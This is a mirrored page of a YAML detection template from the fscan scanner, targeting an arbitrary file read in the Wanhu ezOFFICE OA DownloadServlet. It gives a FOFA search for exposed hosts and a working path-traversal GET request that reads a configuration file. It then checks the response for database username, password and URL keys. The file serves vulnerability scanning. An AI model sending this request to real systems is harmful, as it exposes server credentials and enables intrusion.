mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
20 lines
772 B
YAML
20 lines
772 B
YAML
id: wanhu-oa-downloadservlet-fileread
|
|
|
|
info:
|
|
name: 万户OA DownloadServlet 任意文件读取漏洞
|
|
author: zan8in
|
|
severity: high
|
|
description: |
|
|
万户OA DownloadServlet接口存在任意文件读取漏洞，攻击者通过漏洞可以读取服务器中的敏感文件，获取敏感信息
|
|
fofa: app="万户网络-ezOFFICE"
|
|
tags: wanhu,download,servlet,fileread
|
|
created: 2025/03/13
|
|
|
|
rules:
|
|
r0:
|
|
request:
|
|
method: GET
|
|
path: /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd=&downloadAll=2
|
|
expression: response.status == 200 && response.body.bcontains(b'ccerp.user')&& response.body.bcontains(b'ccerp.password') && response.body.bcontains(b'ccerp.url')
|
|
expression: r0()
|